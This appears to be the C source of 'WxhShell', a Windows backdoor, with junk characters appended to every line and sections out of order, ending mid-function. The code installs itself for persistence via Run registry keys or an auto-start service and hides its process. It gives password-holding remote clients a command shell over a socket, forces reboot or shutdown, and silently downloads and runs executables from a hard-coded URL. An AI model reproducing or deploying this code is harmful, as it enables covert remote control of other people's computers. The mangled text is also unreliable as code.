    ExitThread(0); xLhN3#^m  
    } S3EM6`q'  
    break; F=)9z+l#  
    } Ln-/ 9'^  
  // 关机 #~<cp)!3  
  case 'd': { %6rMS}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rK 9  
    if(Boot(SHUTDOWN)) [gI;;GW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ClZ:#uMbN  
    else { owHV&(Go(B  
    closesocket(wsh); xdw"JS}  
    ExitThread(0); k=">2!O/  
    } {!h|(xqN+  
    break; $=?1>zvF  
    } ".aypD)W  
  // 获取shell CFdR4vuEI  
  case 's': { a![x^@nF  
    CmdShell(wsh); =xz Dpn>f  
    closesocket(wsh); z/09~Hc  
    ExitThread(0); DL0jA/f  
    break; )9LlM2+y  
  } hwgLJY?  
  // 退出 ~a@O1MB  
  case 'x': { 1 ?X(q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S ykblP37  
    CloseIt(wsh); "o" ujQ(v  
    break; 4wfT8CL  
    } /'vCO |?L  
  // 离开 uFxhr2 <z  
  case 'q': { : V16bRpjL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zzmZ`Ya  
    closesocket(wsh); VK)1/b=yT  
    WSACleanup(); UykOQ-2-n  
    exit(1); 2ZHeOKJ-  
    break; 3u]#Ra~5  
        } fu3~W  
  } Gd^K,3:. T  
  } I{>U7i 5  
N$#518  
  // 提示信息 4-l G{I_S:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9e^HTUFbG  
} $x_6 .AOZ,  
  } * ]uo/g  
LObS 7U  
  return; H(f~B<7q  
} rzmd`)g  
(pY'v /a-  
// shell模块句柄 w#V{'{DKp  
int CmdShell(SOCKET sock) "{a-I=s\C  
{ Vy*&po[   
STARTUPINFO si; X; $g7A  
ZeroMemory(&si,sizeof(si)); :0K[fBa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b(@[Y(_R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F!v`._]  
PROCESS_INFORMATION ProcessInfo; oq00)I1  
char cmdline[]="cmd"; o5~o Rmsr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #'"zyidu  
  return 0; F3k]*pk8w  
} d) V"tSC,  
NyHHK8>  
// 自身启动模式 Z:F5cXt<  
int StartFromService(void) eK]g FXk  
{ M#v#3:&5  
typedef struct gcLwQ-  
{ MDETAd  
  DWORD ExitStatus; \ ) H}  
  DWORD PebBaseAddress; NpS*]vSO  
  DWORD AffinityMask; V?KACYd@O  
  DWORD BasePriority; t{)Z$ )'  
  ULONG UniqueProcessId; c;\}R#  
  ULONG InheritedFromUniqueProcessId; ,P G d  
}   PROCESS_BASIC_INFORMATION; HEZgHL  
'n'83d)z  
PROCNTQSIP NtQueryInformationProcess; LR:Qb]|"  
:^ 9sy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &{#4^.Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bcgh}D  
OC)~psQK  
  HANDLE             hProcess; [Yt!uhww  
  PROCESS_BASIC_INFORMATION pbi; ?$ rSbw  
w-~u[c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z'cK,psq(  
  if(NULL == hInst ) return 0; I'"b3]DXG  
]-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ce/Z[B+d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f-at@C1L%L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %onUCN<O`  
I%dFVt@  
  if (!NtQueryInformationProcess) return 0; S;0,UgB1  
Q)"L8v v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e;LJdd  
  if(!hProcess) return 0; !'-K>.B  
NZUQ R`5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S<RJ46  
c;M7[y&  
  CloseHandle(hProcess); {+Rf?'JZH  
YS$?Wz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R-xWZRl>  
if(hProcess==NULL) return 0; o_un=ygU  
o+U]=q*|)$  
HMODULE hMod; 1PwqW g-\\  
char procName[255]; ]<3$Sx_{y  
unsigned long cbNeeded; qEd!g,Sx  
AEjkqG4qv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vq7L:,N9  
9 C-!I,  
  CloseHandle(hProcess); -8- BVU  
V wj^h  
if(strstr(procName,"services")) return 1; // 以服务启动 Qg dHIMY  
YHoj^=/b  
  return 0; // 注册表启动 g[P.lpi{U  
} k M/cD`  
L0j&p[(r  
// 主模块 GyE-fB4C  
int StartWxhshell(LPSTR lpCmdLine) yHvF"4]  
{ 6>I{Ik@>  
  SOCKET wsl; aOWE\I c8  
BOOL val=TRUE; H^Th]-Zl  
  int port=0;  ;d"F'd  
  struct sockaddr_in door; q%HT)^F9oO  
&p\fdR4e  
  if(wscfg.ws_autoins) Install(); /mELnJ^  
yFfa/d  
port=atoi(lpCmdLine); 9Q 4m9}  
>eHSbQu/Bu  
if(port<=0) port=wscfg.ws_port; !L3M\Q0  
cE7xNZ;Bh  
  WSADATA data; FB<#N+L\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'B;aXy/JC  
>BC?% |l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2{t i])  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U1&pcwP  
  door.sin_family = AF_INET; J \iyc,M<M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mp2J|!Lx  
  door.sin_port = htons(port); -7_`6U2"  
2l43/aCq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UL0%oJ#  
closesocket(wsl); ]e0yC  
return 1; zh2gU@"  
} R(dVE\u  
sS$"6  
  if(listen(wsl,2) == INVALID_SOCKET) { AF5$U8jf  
closesocket(wsl); !f~ =p  
return 1; ]fH U/%  
} "*o54z5"  
  Wxhshell(wsl); y( M-   
  WSACleanup(); _I;+p eq  
L,Jl# S  
return 0; /I2RU2|B  
~.4-\M6[  
} esCm`?qCP  
;lqtw]4v  
// 以NT服务方式启动 N 3IF j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |%JJ S^)  
{ 5@3[t`n'  
DWORD   status = 0; #BQ7rF7CNE  
  DWORD   specificError = 0xfffffff; *%JncK '  
2#z6=M~A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m&)5QX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L(tA~Z"k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _= RA-qZ"  
  serviceStatus.dwWin32ExitCode     = 0; r&AX  
  serviceStatus.dwServiceSpecificExitCode = 0; =2HR+  
  serviceStatus.dwCheckPoint       = 0; & [)1LRt_  
  serviceStatus.dwWaitHint       = 0; e|:#Y^  
J8|F8dcz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >*ey 7g  
  if (hServiceStatusHandle==0) return; #E`-b9Q  
>sAZT:&gv  
status = GetLastError(); %-? :'F!1  
  if (status!=NO_ERROR) (17%/80-J  
{ / d S!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G{*m] 0Q  
    serviceStatus.dwCheckPoint       = 0; bH}6N>Fp  
    serviceStatus.dwWaitHint       = 0; +^% y&8e  
    serviceStatus.dwWin32ExitCode     = status; ns_5|*'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ` aTkIo:ms  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YxH"*)N  
    return; Kp") %p#  
  } >Lo 0,b$  
8>.l4:`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jg8j>" Vj>  
  serviceStatus.dwCheckPoint       = 0; 0RY{y n3  
  serviceStatus.dwWaitHint       = 0; JZ6{W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a/ !!Y@7  
} VO ^ [7Y  
~YO-GX(  
// 处理NT服务事件,比如:启动、停止 =|IB=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g+8j$w}  
{ HA%% WSuf  
switch(fdwControl) mx@F^  
{ y=y=W5#;77  
case SERVICE_CONTROL_STOP: FoM4QO  
  serviceStatus.dwWin32ExitCode = 0; \tFg10  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mQt';|X@  
  serviceStatus.dwCheckPoint   = 0; %1ofu,%  
  serviceStatus.dwWaitHint     = 0; h4C DZ  
  { j&(2ze:=*$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :5X1Tr= A  
  }  8U!;  
  return; Hl"rGA>  
case SERVICE_CONTROL_PAUSE: m%ZJp7C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J_tj9+r^  
  break; D*+uH;ws  
case SERVICE_CONTROL_CONTINUE: " @!z+x[8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XHu Y'\;-  
  break; g ]|K@sm  
case SERVICE_CONTROL_INTERROGATE: j""I,$t  
  break; )5Yv7x(K  
}; Z5juyzj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7sECbbJT  
} 5Cxh >,k  
"Y@rNmBj  
// 标准应用程序主函数 &Im{p7gf!b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vm.&JVb  
{ UF)rBAv(/  
Zd@'s.,J  
// 获取操作系统版本 xq_%|p}y  
OsIsNt=GetOsVer(); hNB;29r~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .$b]rx7$ ~  
e*_8B2da  
  // 从命令行安装 lcgT9 m#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 96;17h$  
xQ4D| &  
  // 下载执行文件 g|*2O}<  
if(wscfg.ws_downexe) { QjETu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !=C4=xv  
  WinExec(wscfg.ws_filenam,SW_HIDE); <)y44x|S'  
} (g,lDU[=  
Q\G8R^9j p  
if(!OsIsNt) { Izq]nR  
// 如果时win9x,隐藏进程并且设置为注册表启动 " 6 /`  
HideProc(); !}wJ+R ^2  
StartWxhshell(lpCmdLine); 0S@O]k)  
} d;&'uiS  
else g~_cYy  
  if(StartFromService()) 24{!j[,q@  
  // 以服务方式启动 f !t2a//  
  StartServiceCtrlDispatcher(DispatchTable); ty]JUvR@  
else \Ku=a{Ne  
  // 普通方式启动 hGi"=Oud2  
  StartWxhshell(lpCmdLine); MfUG@  
xkR--/f  
return 0; xP 3_  
} S/-[OA>N  
TkhbnO g6  
!cnunLc`  
RWmQP%A}aw  
=========================================== )#[?pYd  
E> Ukxi1  
)t={+^Xe  
kvs^*X''Ep  
\&]M \  
P<GY"W+r R  
" TF 6_4t6  
Hno@  
#include <stdio.h> N'R^S98x  
#include <string.h> ^7v}wpwX\  
#include <windows.h> Z"#ysC  
#include <winsock2.h> tr"iluwGc  
#include <winsvc.h> >XP]NY}Po[  
#include <urlmon.h> iRo UM.%  
[7B:{sH  
#pragma comment (lib, "Ws2_32.lib") xdp!'1n."g  
#pragma comment (lib, "urlmon.lib") |RwpIe8~  
p,}-8#K[  
#define MAX_USER   100 // 最大客户端连接数 ^_3idLE  
#define BUF_SOCK   200 // sock buffer x!bFbi#!"  
#define KEY_BUFF   255 // 输入 buffer %cG6=`vR  
9 m&"x/k  
#define REBOOT     0   // 重启 ?cr;u~-=  
#define SHUTDOWN   1   // 关机 o:#l r{  
d{&+xl^ll  
#define DEF_PORT   5000 // 监听端口 PCnE-$QH  
K^tM$l\  
#define REG_LEN     16   // 注册表键长度 x|*v(,7b]!  
#define SVC_LEN     80   // NT服务名长度 $7gzu4f  
I z~#G6]M  
// 从dll定义API a`(6hL3IT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YIb5jK `  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *%(8z~(\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v=nq P{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  =IV_yor  
 ])}{GW  
// wxhshell配置信息 9'3%%o  
struct WSCFG { q a#Fa)g*  
  int ws_port;         // 监听端口 6FG h=~{3,  
  char ws_passstr[REG_LEN]; // 口令 t ),~w,7(J  
  int ws_autoins;       // 安装标记, 1=yes 0=no +Y(cs&V*  
  char ws_regname[REG_LEN]; // 注册表键名 t3u"2B7oG  
  char ws_svcname[REG_LEN]; // 服务名 bO1J#bcZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 raY5 nc{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dgpo4'c}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s`xp6\$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E-_)w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '{XDhK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :k8>)x] )  
m8$6FN  
}; 7CYu"+Ea  
&0SGAJlec  
// default Wxhshell configuration UTKS<.q  
struct WSCFG wscfg={DEF_PORT, 0z/tceW'F  
    "xuhuanlingzhe", NUiZ!&  
    1, 0!veLXeK!  
    "Wxhshell", zkn K2e,$  
    "Wxhshell", }!\NdQs  
            "WxhShell Service", E4[ |=<  
    "Wrsky Windows CmdShell Service", Xhtc0\0"(  
    "Please Input Your Password: ", *c7kB}/  
  1, [&t3xC,  
  "http://www.wrsky.com/wxhshell.exe", @=`Dw/13  
  "Wxhshell.exe" ,0NVb7F;k  
    }; rZ 9bz}K  
2\l7=9 ]\3  
// 消息定义模块 pl Ii  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K CJ zE>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1qbd6D|t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (7`goi7M  
char *msg_ws_ext="\n\rExit."; 'IBs/9=ZC  
char *msg_ws_end="\n\rQuit."; Dk|S`3  
char *msg_ws_boot="\n\rReboot..."; K`* 8 *k{  
char *msg_ws_poff="\n\rShutdown..."; cy7GiB2'  
char *msg_ws_down="\n\rSave to "; Tk $rwTCl  
W+BM|'%}|  
char *msg_ws_err="\n\rErr!"; N}nU\e6 Y  
char *msg_ws_ok="\n\rOK!"; f'F:U^  
lG>rf*ei~  
char ExeFile[MAX_PATH]; #9O *@  
int nUser = 0; u$[ '}z0:  
HANDLE handles[MAX_USER]; GZ/.eYE  
int OsIsNt; 0vmMNF  
cy*Td7)/  
SERVICE_STATUS       serviceStatus; >Mj :'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ur={+0 y  
1c&/&6 #5  
// 函数声明 Jx1oK  
int Install(void); /:>qhRFJA:  
int Uninstall(void); (*7edc"F  
int DownloadFile(char *sURL, SOCKET wsh); P~redX=t@  
int Boot(int flag); 1c~c_Cc4  
void HideProc(void); \2-!%i,  
int GetOsVer(void); SEXeK2v  
int Wxhshell(SOCKET wsl); a1 M-F3  
void TalkWithClient(void *cs); [Av87!kJ!X  
int CmdShell(SOCKET sock); !vfjo[v  
int StartFromService(void); ySP1WK  
int StartWxhshell(LPSTR lpCmdLine); HKv:)h{ ?  
QW6F24  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dr^pzM!N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dm,7OQ  
| ctGxS9  
// 数据结构和表定义 "p.MJxH  
SERVICE_TABLE_ENTRY DispatchTable[] = .x$+R%5U  
{ ]kbmbO?M  
{wscfg.ws_svcname, NTServiceMain},  rmUT l  
{NULL, NULL} Hq$AF  
}; pA='(G  
vmAMlgZ8{<  
// 自我安装 `j0T[Pi  
int Install(void) =+~e44!~D  
{ bM_Y(TgJ  
  char svExeFile[MAX_PATH]; f% ZqK_CW  
  HKEY key; H:#b(&qw2  
  strcpy(svExeFile,ExeFile); ?(Dkh${@  
4LtFv)i  
// 如果是win9x系统,修改注册表设为自启动 K6@QZc5.!  
if(!OsIsNt) { =#^%; 66z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D^=_408\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L{bcmo\U  
  RegCloseKey(key); Nz#T)MGO`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cbsy&U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c 6}d{B[  
  RegCloseKey(key); G5ebb6[+  
  return 0; CY)/1 # J  
    } If\u^c  
  } Fj"g CBaR  
} Y4 ){{bEp  
else { A|CW4f,  
5xwztcR-  
// 如果是NT以上系统,安装为系统服务 Vky~yTL)\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UMm<HQ  
if (schSCManager!=0) 3qiE#+dC  
{ a-4'jT:  
  SC_HANDLE schService = CreateService _xI'p6C  
  ( qw&Wfk\}  
  schSCManager, {CR~G2Z  
  wscfg.ws_svcname, BZQ98"Fz*  
  wscfg.ws_svcdisp, ,G e7 9(  
  SERVICE_ALL_ACCESS, cn v4!c0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gH Q[D|zu  
  SERVICE_AUTO_START, djS?$WBpU  
  SERVICE_ERROR_NORMAL, b(_PCVC  
  svExeFile, (u@[}!  
  NULL, Z8(1QU,~2  
  NULL, = PcmJG]  
  NULL, "BK'<j^q  
  NULL, IQMk:  
  NULL A@j;H|  
  ); T_\HU*\  
  if (schService!=0) N)lzX X  
  { w}G2m)(  
  CloseServiceHandle(schService); 6%JKY+n^  
  CloseServiceHandle(schSCManager); (Z=ziopDE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M]!R}<]{  
  strcat(svExeFile,wscfg.ws_svcname); as)2ny!u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {0q;:7Bt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  8;4vr@EV  
  RegCloseKey(key); p H5IBIf'  
  return 0; S+R<wv ,6  
    } vpFN{UfD  
  } j,80EhZ  
  CloseServiceHandle(schSCManager); Ow wH 45  
} \bCm]w R  
} }5RfY| ;  
}$hxD9z  
return 1; W*QD'  
} A)2vjM9}K  
-?!|W-}@G=  
// 自我卸载 "L1cHP~d  
int Uninstall(void) ]3 YJE P  
{ ;y%lOYm  
  HKEY key; F_/]9tz?;  
_K )B  
if(!OsIsNt) { mAhtC*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7fLLV2  
  RegDeleteValue(key,wscfg.ws_regname); mk~i (Ee  
  RegCloseKey(key); K%Mm'$fTw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WiH%URFB  
  RegDeleteValue(key,wscfg.ws_regname); a^ <  
  RegCloseKey(key); ({yuwH?tH  
  return 0; Cmm"K[>Rx  
  } LU_@8i:  
} ilw<Q-o4(  
} KM g`O3_16  
else { 8Z4d<DIJ  
[y\ZnoB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X1]&j2WR  
if (schSCManager!=0) d;|e7$F'  
{ 8X!UtHml  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [z]@ <99/  
  if (schService!=0) p/:)Z_  
  { 6`]R)i]  
  if(DeleteService(schService)!=0) { v'a]SpE5  
  CloseServiceHandle(schService); |A8Ar7)  
  CloseServiceHandle(schSCManager); ?cG+rC%  
  return 0; r42[pi]F  
  } Dw%>y93V  
  CloseServiceHandle(schService); f_Y[I :  
  } n&i WYECz  
  CloseServiceHandle(schSCManager); #] vq <Y  
} *DLv$/(0  
} p>Ju)o  
'&W`x5`t  
return 1; 3I^KJ/)A  
} brb8C%j}9  
>MUwT$szs  
// 从指定url下载文件 : :uD%a zd  
int DownloadFile(char *sURL, SOCKET wsh)  @es}bKP  
{ /"- k ;jz  
  HRESULT hr; vz) A~"E  
char seps[]= "/"; = PqQJE}  
char *token; gd_w;{WP  
char *file; NZ e3 m  
char myURL[MAX_PATH]; xB68RQe)  
char myFILE[MAX_PATH]; >a%NC'~rc  
N:)`+}  
strcpy(myURL,sURL); ]}<.Y[!S  
  token=strtok(myURL,seps); &vj+3<2  
  while(token!=NULL) Bg-C:Ok 2'  
  { =w?-R\  
    file=token; qRJg/~_h{  
  token=strtok(NULL,seps); gT<E4$I69  
  } M/5/Tp  
owCQ71Q  
GetCurrentDirectory(MAX_PATH,myFILE); aP!a?xq  
strcat(myFILE, "\\"); f?dNTfQ3mi  
strcat(myFILE, file); ":"QsS#*"#  
  send(wsh,myFILE,strlen(myFILE),0); @?!/Pl49R  
send(wsh,"...",3,0); #~Lh#@h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rnIv|q6@  
  if(hr==S_OK) <.HHV91  
return 0; ^v}Z5,aN  
else {v+i!a'+  
return 1; ldM [8  
Oe'Nn250  
} c#OZ=`  
S&6}9r  
// 系统电源模块 .hg<\-:_  
int Boot(int flag) H #J"'  
{ :u'X ~ID[  
  HANDLE hToken; DGC -`z  
  TOKEN_PRIVILEGES tkp; Eg3rbqM- 8  
YZ7rs] A  
  if(OsIsNt) { R# 8D}5[&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e=%7tK*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (gNI6;P;}  
    tkp.PrivilegeCount = 1; %\}|&z6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nn ?BD4i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o2 W pi  
if(flag==REBOOT) { +IuV8XT2(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k!xi (l<C  
  return 0; zek\AQN  
} ,4NvD2Y  
else { ba% [!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L:`|lc=^  
  return 0; U# -&%|b$  
} ~1S7\e7{  
  } itm;,Sbg  
  else { l'W?X '  
if(flag==REBOOT) { 3SpDV'}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +LQ2To  
  return 0; #"O9\X/B  
} O!d^v9hM,  
else { x-nwo:OA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9'3bzhT$  
  return 0; +DF<o U~  
} `tVBV :4\  
} 7V4 iPx  
a,d\< mx  
return 1; Ki^m&P   
} wC{ =o`v  
~"gOq"y 5p  
// win9x进程隐藏模块 7Hf6$2Wh  
void HideProc(void) Sj+ gf~~  
{ yZb@  
bC$n+G>6k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XZV)4=5iSO  
  if ( hKernel != NULL ) dDi 1{s  
  { PP.k>zsx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '$ s:cS`=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (dpBGt@  
    FreeLibrary(hKernel); (+Gd)iO  
  } N?kXATB  
c[sC 2  
return; b[uTt'p}  
} Z B`!@/3X  
Kw(/#C:$  
// 获取操作系统版本 S?r:=GS  
int GetOsVer(void) ]}ff*W  
{ b=F"  
  OSVERSIONINFO winfo; A!Ng@r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vD:.1,72  
  GetVersionEx(&winfo); YCh!D dy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9`{Mq9J  
  return 1; WN>.+qM~8  
  else (Uv{%q.n6  
  return 0; 0w< iz;30  
} tOnaD]J  
:lgIu .  
// 客户端句柄模块 \Y>^L{  
int Wxhshell(SOCKET wsl) I4m)5G?O2  
{ 2}[rc%tV:?  
  SOCKET wsh; $]|_xG-6{  
  struct sockaddr_in client; R j(="+SPj  
  DWORD myID; y|.wL=;  
.NCQiQ  
  while(nUser<MAX_USER) aZ5qq+1x  
{ E Q?4?  
  int nSize=sizeof(client); 7; T S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mTZlrkT  
  if(wsh==INVALID_SOCKET) return 1; 6jCg7Su]  
;NRm ,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jfo|/JQ  
if(handles[nUser]==0) m(B6FPjr  
  closesocket(wsh); L nw+o}  
else D Sd 5?  
  nUser++; e Yyl=YW  
  } zFP}=K:o)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TCmWn$LeE  
N%y%)MI8  
  return 0; x~Se-#$  
} 4z#CkT  
+(PtOo.  
// 关闭 socket at7/KuY!~  
void CloseIt(SOCKET wsh) BAX])~_  
{ bTO$B2eh|  
closesocket(wsh); d`({z]W;  
nUser--; *'d5~dz=  
ExitThread(0); IdzF<>;W  
} %m+Z rH(  
+=\S"e[F  
// 客户端请求句柄 SkvKzV.R;  
void TalkWithClient(void *cs) Cgq9~U !  
{ qpp:h_E  
:w:5;cm V  
  SOCKET wsh=(SOCKET)cs; ]Y;$~qQ  
  char pwd[SVC_LEN]; -6+HA9zz@C  
  char cmd[KEY_BUFF]; pNVao{::5  
char chr[1]; G<Lm}  
int i,j; xs.[]>nQN  
kwWO1=ikz@  
  while (nUser < MAX_USER) { _AVCh)Zb  
I*K^,XY+  
if(wscfg.ws_passstr) { r)+dK }xl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E+E5`-V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [jAhw>  
  //ZeroMemory(pwd,KEY_BUFF); t9 &O0tpe  
      i=0; }pTw$B  
  while(i<SVC_LEN) { B-@f.NO/s  
<@JU0Z"a=  
  // 设置超时 #GWQ]r?  
  fd_set FdRead; *D4H;P#  
  struct timeval TimeOut; P-+^YN,  
  FD_ZERO(&FdRead); fK4laDB TO  
  FD_SET(wsh,&FdRead); ;GH(A=}/Y  
  TimeOut.tv_sec=8; {W `/KU?u  
  TimeOut.tv_usec=0; X 8[T*L.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u6(7#n02  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WY*}|R2R  
=1\ 'xz}p?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;=C^l  
  pwd=chr[0]; fC~WuG 3  
  if(chr[0]==0xd || chr[0]==0xa) { Ir0er~f+z  
  pwd=0; Ty@&s 58a  
  break; :Bn\1\  
  } D+ jk0*bJ  
  i++; ?hfos Bn&[  
    } T}u'  
1$Eiv8xd  
  // 如果是非法用户,关闭 socket l#Qf8*0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); . `hlw'20  
} c-M&cU+=L  
U(J?Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b~#rUOXb8?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hR= 4w$  
4SG[_:+!  
while(1) { oiFtPki  
n`^</0  
  ZeroMemory(cmd,KEY_BUFF); (TnYUyFP`  
Ef?_d]  
      // 自动支持客户端 telnet标准   m$@CwQj  
  j=0; k] f 7 3r  
  while(j<KEY_BUFF) { OW #pBeX99  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y61E|:fV!  
  cmd[j]=chr[0]; F." L{g  
  if(chr[0]==0xa || chr[0]==0xd) { $&a`zffG  
  cmd[j]=0; kV(?u_ R  
  break; SKcAZC  
  } q=[0`--cd  
  j++; 0K#dWc}"a  
    } iqOd]H]v  
rH-_L&  
  // 下载文件 B<0lif|  
  if(strstr(cmd,"http://")) { [2&Fnmjk}X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]+@b=J2b  
  if(DownloadFile(cmd,wsh)) }* BY!5  
